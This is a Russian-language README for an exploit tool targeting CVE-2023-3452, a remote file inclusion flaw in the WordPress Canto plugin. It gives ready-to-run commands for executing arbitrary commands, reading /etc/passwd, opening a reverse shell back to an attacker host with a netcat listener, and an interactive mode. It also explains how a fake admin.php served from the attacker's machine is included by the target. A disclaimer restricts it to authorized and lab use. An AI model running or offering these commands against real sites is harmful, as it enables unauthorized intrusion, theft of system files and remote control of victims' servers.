CVE-2023-3452 - WordPress Canto Plugin RCE

Эксплойт для плагина WordPress Canto (≤ 3.0.4) уязвимости RFI. Реально работает по HTTPS — другие публичные PoC как бы сдались перед SSL.

Отдавая должное: эта CVE была найдена другими. Я просто сделал версию, которая не ломается на HTTPS-целях.

Уязвимость

Почему именно этот?

Большинство эксплойтов для этой CVE спотыкаются на HTTPS из-за проверки SSL. Этот скрипт:

• Использует verify=False, чтобы HTTPS-цели реально работали
• Подавляет спам предупреждений urllib3
• Работает одинаково как по HTTP, так и по HTTPS — отдельная конфигурация не нужна

Требования

• Python 3.6+
• requests

Установка

pip install -r requirements.txt

Или просто: pip install requests

Использование

python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]

Аргументы

* Без команды = выполняется id; whoami; hostname как проверка работоспособности

Примеры

Одиночная команда:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"

Чтение файла:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"

Reverse shell (сначала выполните nc -lvnp 4444):

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444

Интерактивный режим:

python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i

HTTPS цель CTF:

python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"

Как это работает

1. Проверка — Выполняет запрос к /wp-content/plugins/canto/readme.txt, парсит версию (≤ 3.0.4 = уязвимо)
2. Полезная нагрузка — Создаёт поддельный wp-admin/admin.php, который выполняет вашу команду через system()
3. Сервер — Запускает локальный HTTP-сервер, чтобы цель могла загрузить наш файл
4. Триггер — Отправляет запрос к download.php с wp_abspath=http://LHOST:LPORT, чтобы он включил наш удалённый PHP
5. Выполнение — Их сервер выполняет наш код, мы получаем вывод обратно

Сетевые заметки

• Цель должна иметь доступ к вашей машине по адресу LHOST:LPORT (для HTB/лабораторий это ваш VPN-IP)
• Брандмауэр должен разрешать входящие соединения на порт полезной нагрузки (-p)

Отказ от ответственности

Только авторизованное тестирование и обучение. Воздействуйте только на системы, к которым у вас есть разрешение. Всё остальное незаконно.

Лицензия

MIT